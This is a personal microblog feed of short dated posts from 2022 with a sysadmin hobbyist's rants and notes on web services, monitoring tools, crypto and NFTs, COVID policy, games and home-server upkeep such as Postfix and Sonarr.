One of the things I love about «USENET»¹ is how easy it is to «plonk»² an entire thread.```

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=> https://en.wikipedia.org/wiki/Usenet [1] https://en.wikipedia.org/wiki/Usenet
=> https://infogalactic.com/info/Plonk_(Usenet) [2] https://infogalactic.com/info/Plonk_(Usenet)



### ╒═════╣▒ 08/16/2022 @22:24 ▒╟──────────┘
Nice to see Substack is about as scummy as you might expect.  I put in a bogus e-mail address in to see the subscription prices for a podcast hosted there (very scummy to require that I might add) and never continued to the actual *create an account* phase.  Now they are trying to e-mail me.```
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╒═════╣▒ 08/16/2022 @13:14 ▒╟──────────┘

First impressions of the Keychron K8 are positive.

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[1] https://www.schneier.com/blog/archives/2022/08/twitter-exposes-personal-information-for-5-4-million-accounts.html

╒═════╣▒ 08/12/2022 @22:40 ▒╟──────────┘

We have got to start holding companies that «needlessly collect and then lose control of personal information»¹ accountable.

╒═════╣▒ 08/09/2022 @22:42 ▒╟──────────┘

I'm a little scared that «@BadLegalTakes»¹' computer blew up trying to cope with the influx of mentions...

[1] https://twitter.com/badlegaltakes

╒═════╣▒ 08/06/2022 @14:31 ▒╟──────────┘

So TIL that CloudFlare engineers are sociopaths who «expect a search engine and IP geolocation»¹ to tell them which pizzeria to go to.

[1] https://blog.cloudflare.com/geoexit-improving-warp-user-experience-larger-network/

╒═════╣▒ 08/05/2022 @19:16 ▒╟──────────┘

I mean... imagine calling yourself a software engineer and then thinking, yeah «this rubegolderbergian shit»¹ is better than «cron(8)»² 😂.

[1] https://blog.cloudflare.com/building-scheduling-system-with-workers-and-durable-objects/

[2] https://linux.die.net/man/8/cron

╒═════╣▒ 08/04/2022 @16:22 ▒╟──────────┘

From the shut-up-and-take-my-money-department:N95 elastomeric respirator with CO2 monitor (DEFCON badge).(by: «@andrewshumate»¹, via: «@violetblue»², «jwz»³)

[1] https://twitter.com/andrewshumate/status/1550246700220141568

[2] https://twitter.com/violetblue/status/1555131111231041536

[3] https://www.jwz.org/blog/2022/08/respirator-with-co2-monitor/

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[1] https://www.schneier.com/blog/archives/2022/08/ring-gives-videos-to-police-without-a-warrant-or-user-consent.html

╒═════╣▒ 08/04/2022 @09:06 ▒╟──────────┘

«Yet another reminder»¹ that if you've put your data in the clown^W cloud it will be handed over to law enforcement (or anyone putting in a «minimal amount of effort to impersonate someone law enforcement»² adjacent) without your consent, or knowledge.If you don't want information leaked, don't share it.

[2] https://krebsonsecurity.com/2022/03/hackers-gaining-power-of-subpoena-via-fake-emergency-data-requests/

July

╒═════╣▒ 07/31/2022 @15:30 ▒╟──────────┘

No matter what, the «work has to be done»¹.

[1] https://www.stonekettle.com/2022/07/democracy-harder.html

╒═════╣▒ 07/25/2022 @10:19 ▒╟──────────┘

The only way that there hasn't been a house-cleaning at the CDC is tacit approval of the administration of the absolute shit-show they've made of the COVID-19 pandemic.> Reporter: you changed CDC covid transmission maps specifically for telling people when to mask up and that time is right now so why aren't you doing that?CDC Director: that's not my job. «https://twitter.com/WalkerBragman/status/1551311560160722947»¹— Violet Blue® (@violetblue) «July 25, 2022»²Literally can't think of any other reason these people still have jobs in service of public health.> CDC Director Walensky misquoted CDC guidance before telling the public that covid symptoms are how to know if you're contagious.Fact: The estimates for asymptomatic transmission are 60% (that's 6 of 10 infected people; pre-Omicron). «https://twitter.com/WalkerBragman/status/1551304638195957760»³— Violet Blue® (@violetblue) «July 25, 2022»⁴Stay safe out there friends. Go read Violet's «Pandemic Roundup»⁵.

[1] https://twitter.com/WalkerBragman/status/1551311560160722947

[2] https://twitter.com/violetblue/status/1551392745704394752?ref_src=twsrc%5Etfw

[3] https://twitter.com/WalkerBragman/status/1551304638195957760

[4] https://twitter.com/violetblue/status/1551397147425116160?ref_src=twsrc%5Etfw

[5] https://www.patreon.com/posts/pandemic-roundup-69375517

╒═════╣▒ 07/24/2022 @18:55 ▒╟──────────┘

│ In-Reply-To: 07/23/2022 @21:46

This bit amused me for a little too long...

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[1] https://www.going-flying.com/thoughts/1658613442.html

╒═════╣▒ 07/23/2022 @21:46 ▒╟──────────┘

│ In-Reply-To: 07/23/2022 @17:57

Followup-to: «https://www.going-flying.com/thoughts/1658613442.html»¹The soundtrack is really good. I keep getting Nobuo Uematsu / Yasunori Mitsuda vibes which might be the some of the highest praise out of me for VGM.

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╒═════╣▒ 07/23/2022 @17:57 ▒╟──────────┘

I'm a handful of hours in and «Stray»¹ is really good. Shows what you can do with *atmosphere *and *design *instead of heavy handed exposition. The desire to explore and try things is more intuitive than most tutorials and the cold open is a clear and emotional explanation of your goal.The controls and the platforming are really good and exploration is rewarding with back story tidbits, views and adorable places to take a nap.

[1] https://stray.game/

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[1] https://twitter.com/The_Mal_Gallery/status/1550289866411634689

╒═════╣▒ 07/22/2022 @08:48 ▒╟──────────┘

I think this one is my favorite Josh Hawley run... «via»¹ Secondary 🤣 at the «reaction shot»².

[2] https://twitter.com/dprzygoda/status/1550287028029476866

╒═════╣▒ 07/21/2022 @21:44 ▒╟──────────┘

│ In-Reply-To: 07/12/2022 @17:16

So yeah, after «whining»¹ about how bad Grafana's alerting system is and how I was about to rage-write some Icinga checks... Yeah.. I did it. I replaced a whole suite of rules with a 262 line Python script.I also went and replaced a bunch of Azure Function Monitor rules and alerts with a few calls to check_http.

[1] https://www.going-flying.com/thoughts/1657660599.html

╒═════╣▒ 07/19/2022 @22:36 ▒╟──────────┘

Easily in the top 5 best Babylon 5 episodes.

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╒═════╣▒ 07/19/2022 @20:50 ▒╟──────────┘

This.

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[1] https://www.patreon.com/posts/cybersecurity-19-69282593

╒═════╣▒ 07/19/2022 @17:32 ▒╟──────────┘

Read Violet's «weekly cyber newsletter»¹. Lots of shitty consumer crap busy narcing on you and those around you to the feds.

╒═════╣▒ 07/19/2022 @09:49 ▒╟──────────┘

I lusted after the After Dark Screensavers as a kid and now you can play with them «right in your browser»¹! I didn't realize how much «amazing artwork»² Tomoya Ikeda did for the early Macintosh.

[1] https://archive.org/details/AfterDark_mac

[2] https://blog.gingerbeardman.com/2021/12/16/tomoya-ikeda-macintosh-artist/

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[1] https://www.schneier.com/blog/archives/2022/07/facebook-is-now-encrypting-links-to-prevent-url-stripping.html

╒═════╣▒ 07/18/2022 @14:44 ▒╟──────────┘

Can we please get on with the project of feeding Facebook feet-first into a chipper-shredder? «The world would be so much of a better place»¹.Though seriously... who the hell is still using Facebook?

╒═════╣▒ 07/15/2022 @23:24 ▒╟──────────┘

Corporate America is so mind-bogglingly out of touch it is embarrassing.

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[1] https://www.jwz.org/blog/2022/07/texas-is-now-too-hot-for-bitcoin-mining/

╒═════╣▒ 07/13/2022 @19:25 ▒╟──────────┘

«Climate change makes techno-scam that helps cause climate change unprofitable»¹, marketing machine goes brrr while line goes sad trombone.

╒═════╣▒ 07/12/2022 @17:16 ▒╟──────────┘

Alerting in Grafana is so trash that I'm seriously about to write Nagios/Icinga plugins to just watch values from InfluxDB. They should just throw the alert system in the trash and let some software fit for purpose do the work.

╒═════╣▒ 07/12/2022 @10:06 ▒╟──────────┘

These EBL LiPo 9V batteries seem to have no protection in them so if I don't get to them fast enough I have to recover them before their charger will agree to charge them. Not recommended.

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[1] https://demozoo.org/parties/4444/

╒═════╣▒ 07/11/2022 @19:03 ▒╟──────────┘

I think it's super great that the demoscene is still alive and strong producing «rad stuff like this»¹.«source»²

[2] https://demozoo.org/graphics/309529/

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[1] https://developer.apple.com/documentation/safariservices/safari_web_extensions

╒═════╣▒ 07/10/2022 @23:49 ▒╟──────────┘

I miss the days when a «monopoly didn't control»¹ what I could do with my computer... and in such a rank amateur fashion.

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[1] http://violence.works

╒═════╣▒ 07/10/2022 @10:36 ▒╟──────────┘

I love «this»¹, though I kinda wish it had a bigger screen and talked to a bluetooth keyboard instead of having a tiny rubber one.

╒═════╣▒ 07/08/2022 @20:14 ▒╟──────────┘

One of my favorite features of my RSS transmogrifier is that it prefaces any tweet, quote tweet, or retweet of a user that has `core.user_results.result.has_nft_avatar` set to True with the following HTML:<img src="https://ssl.ub3rgeek.net/images/nftbro.png"><br><h1>NFT BRO ALERT</h1><br>If it wasn't so funny I'd just killfile the tweets.

╒═════╣▒ 07/06/2022 @19:27 ▒╟──────────┘

All I wanted was to re-wire 4 outlets in the front room... after a solid day of working I have 2 re-wired and about 1/2 of the rats nest of other things that were sharing that circuit cut out.

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╒═════╣▒ 07/05/2022 @09:59 ▒╟──────────┘

Some of the options inside Outlook are downright insane these days. I can't believe that they paid people to work on these.

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[1] https://www.going-flying.com/thoughts/1599790606.html

╒═════╣▒ 07/02/2022 @23:46 ▒╟──────────┘

So based on previous experience with both a «random eBay battery»¹ and an «iFixit battery»², about a year and 100 cycles is what you can expect before you start getting Service Recommended.Time to order another sketchy eBay battery then!

[2] https://www.going-flying.com/thoughts/1622814354.html

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[1] https://www.jamesnorbury.com

╒═════╣▒ 07/02/2022 @17:14 ▒╟──────────┘

Ooh! Another «Big Panda Tiny Dragon»¹ book for pre-order you say? «A signed copy is available you say»²? TAKE MY MONEY *PLEASE*.

[2] https://linktr.ee/jamesnorbury

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[1] https://twitter.com/jwz/status/1542930303232122880

╒═════╣▒ 07/01/2022 @15:57 ▒╟──────────┘

If there was ever a reason to dance with jubilation at the crypto world burning other than fraudsters losing their ill-gotten gains I think «taking the foot slightly off the pedal speeding us to an inhospitable planet»¹ would be a good one.

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[1] https://www.penny-arcade.com/comic/2022/07/01/gom-jabbar

╒═════╣▒ 07/01/2022 @15:03 ▒╟──────────┘

I feel like not enough people realize the lesson «here»¹...

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[1] https://www.mcsweeneys.net/articles/a-declaration-of-independence-from-the-united-states-supreme-court

╒═════╣▒ 07/01/2022 @13:23 ▒╟──────────┘

«A Declaration of Independence From The United States Supreme Court»¹

╒═════╣▒ 06/30/2022 @23:12 ▒╟──────────┘

From the *sounds-too-much-like-common-sense* department:> ✅No mask ✅No vax✅No con> Should you start going to business conferences again? «https://www.computerworld.com/article/3665053/should-you-start-going-to-business-conferences-again.html»¹ via «@computerworld»² & «@sjvn»³ I've made three business trips this year, and I'll be doing more. But, should you? No, you probably shouldn't. «#COVID19»⁴— Steven J. Vaughan-Nichols (@sjvn) «June 30, 2022»⁵— Violet Blue® (@violetblue) «June 30, 2022»⁶

[1] https://www.computerworld.com/article/3665053/should-you-start-going-to-business-conferences-again.html

[2] https://twitter.com/Computerworld?ref_src=twsrc%5Etfw

[3] https://twitter.com/sjvn?ref_src=twsrc%5Etfw

[4] https://twitter.com/hashtag/COVID19?src=hash&ref_src=twsrc%5Etfw

[5] https://twitter.com/sjvn/status/1542590425520807937?ref_src=twsrc%5Etfw

[6] https://twitter.com/violetblue/status/1542594186058248192?ref_src=twsrc%5Etfw

June

╒═════╣▒ 06/29/2022 @17:29 ▒╟──────────┘

«This»¹.

[1] https://www.stonekettle.com/2022/06/when-good-men-do-nothing.html

╒═════╣▒ 06/28/2022 @11:17 ▒╟──────────┘

From the *screaming-internally* department:«https://twitter.com/textfiles/status/1541743031954677761»¹

[1] https://twitter.com/textfiles/status/1541743031954677761

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╒═════╣▒ 06/27/2022 @17:40 ▒╟──────────┘

The "Homepage" thing on mobile Firefox is such a garbage fire anti-feature. Why did you remove my ability to have my own start page? It is almost like the comittee that makes these decisions would rather you not use their browser. A pox on your houses.

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[1] https://twitter.com/violetblue/status/1540572644126257157

╒═════╣▒ 06/25/2022 @09:01 ▒╟──────────┘

Real feels. «Via»¹

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[1] https://www.schneier.com/blog/archives/2022/06/on-the-dangers-of-cryptocurrencies-and-the-uselessness-of-blockchain.html

╒═════╣▒ 06/24/2022 @18:51 ▒╟──────────┘

From the solutions-without-problems department:> This is my basic argument: blockchain does nothing to solve any existing problem with financial (or other) systems. Those problems are inherently economic and political, and have nothing to do with technology. And, more importantly, technology can’t solve economic and political problems. Which is good, because adding blockchain causes a whole slew of new problems and makes all of these systems much, much worse.Via: «On the Dangers of Cryptocurrencies and the Uselessness of Blockchain»¹

╒═════╣▒ 06/23/2022 @13:58 ▒╟──────────┘

From this *you-damn-kids-today* department:> It now occurs to me that some people are assuming that I cannot possibly be running a dedicated server in this day and age instead of some virtual server. Those folks have never tried to run a collection of files like the ones on textfiles.com and deal with the TOS.— Jason Scott (@textfiles) «June 23, 2022»¹Meet the server that brought *this* website to you.

[1] https://twitter.com/textfiles/status/1539890900985339905

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╒═════╣▒ 06/22/2022 @17:51 ▒╟──────────┘

I keep abusing this ship and it keeps getting me home.

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[1] https://blog.cloudflare.com/email-link-isolation/

╒═════╣▒ 06/20/2022 @22:15 ▒╟──────────┘

From the *turtles-all-the-way-down* department:I vote we go ahead and give up on the Web. We did it wrong. We did it so wrong someone thought it was a good idea to hook a «headless browser up to your browser via WASM»¹. So you have a browser running in a VM delivering draw commands to a JIT compile program running in a VM in your local browser because we stopped just delivering hypertext over the hypertext transfer protocol. We truly have forgotten the face of our fathers.

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[1] http://www.postfix.org

╒═════╣▒ 06/18/2022 @11:18 ▒╟──────────┘

From the *are-you-kidding-me* department:> Jun 18 10:34:35 imladris postfix/smtpd[1174295]: NOQUEUE: reject: RCPT from dhcp-thirty.internal.ub3rgeek.net[192.168.196.30]: 550 5.7.1 <smtpclient.apple>: Helo command rejected: Host not found; from=<[REDACTED]> to=<[REDACTED]> proto=ESMTP helo=<smtpclient.apple>I don't know why iOS mail isn't using the FQDN assigned by DHCP to the device (which is what mail on macOS seems to do) but using a FQDN that doesn't resolve and isn't controlled by the user seems amateurish. I guess I get to go exempt more stupid behavior from the strict checks in my «Postfix»¹ configuration.

╒═════╣▒ 06/17/2022 @13:26 ▒╟──────────┘

RSAC followed San Francisco city covid protocols for the event, which do not follow the science and is why we're in a long, bad, endless surge here -- and SFDPH *does not care*.Also, yes I've been reporting on this for 2 weeks. — Violet Blue® (@violetblue) «June 17, 2022»¹

RSAC branded a 'super spreader event' as attendees share COVID-19 test results «https://www.theregister.com/2022/06/16/rsa_covid_risk/»²— The Register (@TheRegister) «June 16, 2022»³

[1] https://twitter.com/violetblue/status/1537611031999967232

[2] https://www.theregister.com/2022/06/16/rsa_covid_risk/

[3] https://twitter.com/TheRegister/status/1537555028830994432

╒═════╣▒ 06/17/2022 @10:46 ▒╟──────────┘

From the completely-on-brand-for-both-parties department:

Notorious, convicted scammer hops on board the NFT grift is super peak NFT.

via: «jwz»¹, «web3isgoinggreat»²

[1] https://www.jwz.org/blog/2022/06/anna-delvey-sorokin-announces-she-will-move-away-from-the-scammer-persona-and-launch-nfts/

[2] https://web3isgoinggreat.com/single/anna-delvey-sorokin-announces-she-will-move-away-from-the-scammer-persona-and-launch-nfts

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╒═════╣▒ 06/15/2022 @22:07 ▒╟──────────┘

From the *sometimes-because-physics* department:

I swear I didn't park it that way.

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[1] https://www.penny-arcade.com/comic/2022/06/15/sorcelator

╒═════╣▒ 06/15/2022 @18:27 ▒╟──────────┘

From the *are-we-sure-Blake-is-sentient* department:

«Preach, boys»¹.

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[1] https://github.com/techouse/sqlite3-to-mysql

╒═════╣▒ 06/12/2022 @10:12 ▒╟──────────┘

The mailman 3 web frontend sucks so much compared to pipermail (the mailman 2 web frontend). Apparently using static files on disk is gauche these days so of course it has to use a database and an ORM and all this other crap. Anyway, I needed to migrate from SQLite to MariaDB and Django's tools kept triggering the Linux OOM killer so I had to find a way to do it at the database layer. SQLite and MySQL/MariaDB produce slightly incompatible dump formats so after trying to fight with translating a 5GB dump file I found «sqlite3-to-mysql»¹ which Just Worked. If you end up needing to coax some performance out of the trash pile that is Hyperkitty, it *Worked For Me*.

╒═════╣▒ 06/10/2022 @17:06 ▒╟──────────┘

«This is just one of many examples»¹ of the *garbage* journalism being published in the New York Times that lead me to cancel my subscription.

I won't even go there to play Wordle.

[1] https://threadreaderapp.com/thread/1534903354274488322.html

╒═════╣▒ 06/10/2022 @12:16 ▒╟──────────┘

You know, if you're looking for some rad stickers to not-so-subtly show off your belief that all human beings are deserving of rights, that allowing a highly virulent, rapidly mutating, mass-disabling and still little-understood disease run rampant is an *awful* idea, and that felines are the superior pet, check out «Violet Blue's RedBubble»¹ shop.

[1] https://www.redbubble.com/people/viblue/shop?asc=u

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╒═════╣▒ 06/08/2022 @23:03 ▒╟──────────┘

CAPCHAs largely don't work but I don't think the answer is to cement a duopoly into infrastructure even further. Hopefully this can be disabled on the device. I'd rather have a CAPCHA (as shit as they are) than have Cloudflare and Apple chat with each other to show me a website.

https://blog.cloudflare.com/eliminating-captchas-on-iphones-and-macs-using-new-standard/

╒═════╣▒ 06/08/2022 @10:49 ▒╟──────────┘

Not going to lie, watching inventory management in Escape From Tarkov tickles a very specific part of my brain.

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╒═════╣▒ 06/07/2022 @23:47 ▒╟──────────┘

The progression to the scumbag web suddenly makes sense to me.

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╒═════╣▒ 06/04/2022 @23:32 ▒╟──────────┘

I shouldn't be so smug at the repeated failures of The Scumbag Web, after all they are still ruining the planet and people don't deserve to be led to ruin by scammers... but the memes are so... *chefs kiss*

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╒═════╣▒ 06/02/2022 @16:22 ▒╟──────────┘

I was dialing in some control mapping for my HOTAS and I discovered that the Avenger Titan is a pretty tough little ship.

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[1] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5

May

╒═════╣▒ 05/30/2022 @15:06 ▒╟──────────┘

Set home to Microtech this wipe in «Star Citizen»¹ and it's amazing how every city in the game so far has such a distinct feel at night...

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[1] https://blog.cloudflare.com/ea-web3-gateways/

╒═════╣▒ 05/16/2022 @18:34 ▒╟──────────┘

As if handling something like 10% of the HTTP/S traffic of the global Internet isn't enough reason to avoid Cloudflare, they've «come up with another reason»¹. Buying into the scumbag web is just shoveling more energy to keep the grift alive.

╒═════╣▒ 05/11/2022 @19:45 ▒╟──────────┘

*snort**

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╒═════╣▒ 05/11/2022 @17:51 ▒╟──────────┘

It would be cool if there were audio player items in Star Citizen. You could have a radio on your ship and players could sign up to stream audio into the 'verse which could show up as channels on the radio. The implementation would be reasonably simple, just have the client tune in an icecast stream and wire it into a positional audio source. Imagine how cool it would be to walk onto someone's ship and hear music playing somewhere in the distance?

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[1] https://www.jwz.org/blog/2022/05/how-to-fix-social-media/

╒═════╣▒ 05/11/2022 @09:26 ▒╟──────────┘

How to fix social media. What we need is this one simple trick: A site that scrapes, collates, and de-dups your friends' posts on every social media site, and then shows you the union of all of those posts as one feed. This is the only way to break... «https://www.jwz.org/blog/2022/05/how-to-fix-social-media/»¹— j͕̠̦̪͕̓͛̊̾̄ͅw̧̧̳̪̘͊̋͗̾͢͠z̢̘̞͈̺̞̩̓̽̐̋͗̆̋̚͟͜ (@jwz) «May 10, 2022»²

[2] https://twitter.com/jwz/status/1524120432777076737?ref_src=twsrc%5Etfw

╒═════╣▒ 05/03/2022 @18:47 ▒╟──────────┘

Welp, good to see «Star Citizen 3.17»¹ off to a... «somewhat predictable start»².

Weather on a moon is pretty darn cool though...

[1] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5

[2] https://www.going-flying.com/~mernisse/screenshots/Games/Star%20Citizen/html/ScreenShot-2022-05-03_15-49-37-710.html

╒═════╣▒ 04/30/2022 @20:30 ▒╟──────────┘

At the risk of sounding a bit too much *old-man-shouts-at-cloud*, computer UI peaked around 2004 and has only gotten worse since.

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[1] https://twitter.com/violetblue/

April

╒═════╣▒ 04/27/2022 @16:51 ▒╟──────────┘

«VioletBlue's»¹ Cybersecurity and Pandemic newsletters have been absolute must-reads for me and are available over on «her patreon»² and on top of being well written, well researched, and information-dense, they rarely miss in the meme department. Behold... *chef's kiss*. Perfection. *No notes*.

[2] https://www.patreon.com/join/violetblue

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[1] https://web3isgoinggreat.com/single/ftx-founder-sam-bankman-fried-tries-to-explain-yield-farming-and-its-just-a-ponzi

╒═════╣▒ 04/25/2022 @17:49 ▒╟──────────┘

For the grift to keep working the «grifters gotta grift»¹.

╒═════╣▒ 04/24/2022 @09:55 ▒╟──────────┘

Make no mistake, Apple's App Store is 100% anti-competitive. I find the whole paradigm to be toxic, forcing wonderful applications into parity with cheap clones and malware smuggled by over-worked censors and scripts doing static analysis. The customer experience is utter dogshit, application discovery is a joke and at any point the shop keeper can come by and *take the product you bought away* from you while still keeping their vig.

Rant inspired by: «this»¹.

[1] https://take.surf/2022/04/23/steve-troughton-smith-on-apple-app-store-developers-and-government-meddling

╒═════╣▒ 04/23/2022 @10:30 ▒╟──────────┘

I love «every single thing about this»¹. «via @textfiles»²

[1] https://www.wjstjetset.com/about

[2] https://twitter.com/textfiles/status/1517698317949542400

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[1] https://home.unicode.org

╒═════╣▒ 04/23/2022 @09:54 ▒╟──────────┘

Dear «Unicode Consortium»¹, I support this. I have a mighty need for this.

https://t.co/nGkg3ywmyy -> https://twitter.com/chrissteinplays/status/1517516149361201155/photo/1

I still think the greatest contribution to online culture would be the guillotine emoji «https://twitter.com/chrissteinplays/status/1517516149361201155/photo/1»²— Cʜʀɪs Sᴛᴇɪɴ (@chrissteinplays) «April 22, 2022»³

«via @GreatDismal»⁴

[2] https://twitter.com/chrissteinplays/status/1517516149361201155/photo/1

[3] https://twitter.com/chrissteinplays/status/1517516149361201155?ref_src=twsrc%5Etfw

[4] https://twitter.com/GreatDismal/

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╒═════╣▒ 04/22/2022 @23:08 ▒╟──────────┘

Do Smart Playlists not work on the Music app on iOS? It looks like they only update on sync? I must be missing something...

╒═════╣▒ 04/22/2022 @09:03 ▒╟──────────┘

Did not expect 2022 to be a year that included replacing a capstan motor in a cassette deck that is almost as old as me but here we are...

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[1] https://www.reddit.com/r/teefies/comments/smxdd8/cute_nfts/

╒═════╣▒ 04/20/2022 @19:34 ▒╟──────────┘

The only NFTs I am likely to support!

(«source, maybe?»¹)

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╒═════╣▒ 04/16/2022 @19:41 ▒╟──────────┘

I miss having a Radio Shack around, being able to get bits to make cables was so much easier back then. That being said, do you think this is still MFi certified? 😂

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[1] https://contrachrome.com/

╒═════╣▒ 04/16/2022 @17:17 ▒╟──────────┘

I like Safari well enough, and even though Firefox has largely gone to shit I'd still rather use it over Chrome or any of its derivatives.

«Don't surrender to amoral techbros and oligarchs»¹.

╒═════╣▒ 04/16/2022 @11:08 ▒╟──────────┘

Today we are on a mission to find out which fan is making a ticking noise...

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╒═════╣▒ 04/16/2022 @00:24 ▒╟──────────┘

Why can't I *disable* these? "For You" is the least useful section of any app. Stop wasting my time with it.

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[1] https://popehat.substack.com/p/our-fundamental-right-to-shame-and

╒═════╣▒ 04/15/2022 @13:51 ▒╟──────────┘

The «piece by Ken White»¹ and the «piece by Michael Hobbes»² drive home a lot of my thoughts on the pearl clutching *OMG CANCEL CULTURE* handwaving that is going on.

[2] https://michaelhobbes.substack.com/p/panic-on-the-editorial-page

╒═════╣▒ 04/13/2022 @08:31 ▒╟──────────┘

So it looks like the Wikimedia Foundation community has officially asked Wikimedia to «stop accepting crypto currencies for donations»¹. I am glad to hear this and sincerely hope Wikimedia acquiesces. Furthermore I hope that the «Internet Archive»² takes notice and follows suit. Friends don't let friends destroy the planet.

[1] https://web3isgoinggreat.com/single/2022-04-12-2

[2] https://archive.org

╒═════╣▒ 04/11/2022 @23:27 ▒╟──────────┘

Every *single one* of you heathens had better have a working floppy drive or a pox upon your house.

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[1] https://mattgemmell.com/content-creation/

╒═════╣▒ 04/11/2022 @21:47 ▒╟──────────┘

Matt Gemmell: «Content Creation»¹

Content is fungible, space-filling, placeholder-replacing stuff, and that’s not even its most offensive connotation. The worst part of “content” is that it’s implicitly relative to its container. That’s what content means. The contents of a sandwich are with respect to the bread. The content is just what’s inside. It’s probably the most trivialising, demeaning, depressing, surrendering term out there — but people lay claim to it. People define themselves as makers of it.

«via»²

I wholeheartedly agree and feel the same way about *coder/coding*. I am a *programmer* who *writes software*.

[2] https://take.surf/2022/04/11/matt-gemmell-content-creation

╒═════╣▒ 04/07/2022 @09:36 ▒╟──────────┘

But ultimately, I say it again: Using Twitter for what we use it now, and with lives and livelihoods at stake, is cookie-dough-hat-in-a-subway-car insane.But we knew this a decade ago.— Jason Scott (@textfiles) «April 7, 2022»¹

[1] https://twitter.com/textfiles/status/1511911398640701440?ref_src=twsrc%5Etfw

╒═════╣▒ 04/06/2022 @22:22 ▒╟──────────┘

Every time I see a thread on Twitter I end up thinking 'good lord this would have been better as a blog post'.

╒═════╣▒ 04/05/2022 @13:31 ▒╟──────────┘

I thought «this was a great talk»¹ by Paul Eggert, the Coordinator for the Time Zone database your computer likely uses... One of the things I took away was that you never quite foresee your own success and the decisions you make early on in a project are often with you for the entire life of the project.

[1] https://framatube.org/w/3EGcA7hVNGmemHB4d7arwi

╒═════╣▒ 04/04/2022 @20:05 ▒╟──────────┘

Well I decided to create a SIMPLE visual representation of the Flu vs Covid Original vs BA2. Looking at death as well as «#LongCovid»¹. This is designed for a non-scientific audience, so those disputing exactitude, this is a general overview. «#CovidExplained»² «#MaskUp»³ «#CovidIsntOver»⁴ «pic.twitter.com/geb2H9I9jQ»⁵— ID_Geek (@RogueVictorian) «April 4, 2022»⁶

[1] https://twitter.com/hashtag/LongCovid?src=hash&ref_src=twsrc%5Etfw

[2] https://twitter.com/hashtag/CovidExplained?src=hash&ref_src=twsrc%5Etfw

[3] https://twitter.com/hashtag/MaskUp?src=hash&ref_src=twsrc%5Etfw

[4] https://twitter.com/hashtag/CovidIsntOver?src=hash&ref_src=twsrc%5Etfw

[5] https://t.co/geb2H9I9jQ

[6] https://twitter.com/RogueVictorian/status/1510779126587789320?ref_src=twsrc%5Etfw

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[1] https://www.going-flying.com/blog/four-years-of-unifi-video.html

March

╒═════╣▒ 03/30/2022 @14:51 ▒╟──────────┘

So I «decided a while back»¹ that UniFi Video was no longer fit for purpose and that when I finally upgrade from 802.11ac I'll probably choose another vendor for my WiFi as well.

Turns out, they're busy adding more reasons.

So I've been a *mostly* happy «@Ubiquiti»² customer, despite a few hiccups with their Cloud Key Gen 2+ model space heater.And a security breach.That I first found out about from «@briankrebs»³.Against whom Ubiquiti has apparently just filed a lawsuit. «https://twitter.com/QuinnyPig/status/1508965090019577856/photo/1»⁴— Corey Quinn (@QuinnyPig) «March 30, 2022»⁵

[2] https://twitter.com/Ubiquiti?ref_src=twsrc%5Etfw

[3] https://twitter.com/briankrebs?ref_src=twsrc%5Etfw

[4] https://twitter.com/QuinnyPig/status/1508965090019577856/photo/1

[5] https://twitter.com/QuinnyPig/status/1508965090019577856?ref_src=twsrc%5Etfw

╒═════╣▒ 03/25/2022 @22:20 ▒╟──────────┘

I've poked fun at the wider JavaScript ecosystem before, but «it just keeps warranting poking»¹.

A small reminder that all the JavaScript that I wrote for this website is un-minified^Wobfuscated, BSD Licensed, and has a minimum of external dependancies, all of which are manually updated, and hosted by, me.

[1] https://taoofmac.com/space/links/2022/03/19/0940

╒═════╣▒ 03/23/2022 @13:34 ▒╟──────────┘

Today's jam, wrapped in a mood....

«Boys Noize - Mayday (Snowden O.S.T.) (Official Video)»¹

[1] https://www.youtube.com/watch?v=49vZhQlAEyk

╒═════╣▒ 03/22/2022 @23:22 ▒╟──────────┘

From the *wish-I-could-be-there* department:«POW: POW X10: A COLOSSAL NIGHT OF SOUND AND VISION»¹ live now on the «DNA Lounge webcast!»²

[1] https://www.dnalounge.com/calendar/2022/03-22.html

[2] https://www.dnalounge.com/webcast/video.html

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[1] https://music.apple.com/us/album/insincerely-yours/836584504?i=836584523

╒═════╣▒ 03/21/2022 @13:36 ▒╟──────────┘

From the *todays-jam* department:«Lily Allen - Insincerely Yours»¹

╒═════╣▒ 03/19/2022 @19:07 ▒╟──────────┘

From the *shits-in-your-head* department:

via unsurprisingly unattributed on Tumblr.

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[1] https://twitter.com/jwz/status/1504260797165309952

╒═════╣▒ 03/16/2022 @22:41 ▒╟──────────┘

From the *we-are-all-Milton* department:«via»¹

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[1] https://twitter.com/winamp/status/1504083229254602752/photo/1

╒═════╣▒ 03/16/2022 @15:20 ▒╟──────────┘

Another hero from my youth, stripped for name recognition and left for dead (links redacted).

The team is thrilled to announce the auctioning of Winamp Original Skin as 1/1 NFT AND the launch of Winamp Foundation!🚀 All funds collected will be redistributed to charity projects supporting music & musicians. Curious? [REDACTED] #Winamp^W #NFT^W #crypto^W #nfts^W «https://twitter.com/winamp/status/1504083229254602752/photo/1»¹— Winamp (@winamp) «March 16, 2022»²

[2] https://twitter.com/winamp/status/1504083229254602752?ref_src=twsrc%5Etfw

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[1] https://twitter.com/jwz

╒═════╣▒ 03/14/2022 @21:26 ▒╟──────────┘

Finally got around to upgrading Sonarr from 2.0 to 3.0. It was a little annoying, they don't seem to ship Debian 11 packages even though it has been out since August 2021. In case it helps someone, the Debian 10 (buster) repository works on 11 (bullseye). If you happen to not catch it during the configure phase it can import your 2.0 configuration but you will want to stop the daemon and copy your config.xml and nzbdrone.db from wherever it is (~/.config/NzbDrone in my case) to the new directory (/var/lib/sonarr) and then start the daemon up.

╒═════╣▒ 03/06/2022 @19:30 ▒╟──────────┘

From this *that-tracks* department, via «@jwz»¹:

I made a browser extension that changes the word “billionaire” to “oligarch” and, well, it’s about as perfect as I was hoping.«https://addons.mozilla.org/en-US/firefox/addon/billionaire-oligarch-replacer/»²«https://chrome.google.com/webstore/detail/billionaire-to-oligarch-r/ealafelnipmdnebociefhhkgoocplidj»³ «https://twitter.com/Noleli/status/1499760828022607877/photo/1»⁴— Noah Liebman (@Noleli) «March 4, 2022»⁵

[2] https://addons.mozilla.org/en-US/firefox/addon/billionaire-oligarch-replacer/

[3] https://chrome.google.com/webstore/detail/billionaire-to-oligarch-r/ealafelnipmdnebociefhhkgoocplidj

[4] https://twitter.com/Noleli/status/1499760828022607877/photo/1

[5] https://twitter.com/Noleli/status/1499760828022607877?ref_src=twsrc%5Etfw

╒═════╣▒ 03/06/2022 @14:07 ▒╟──────────┘

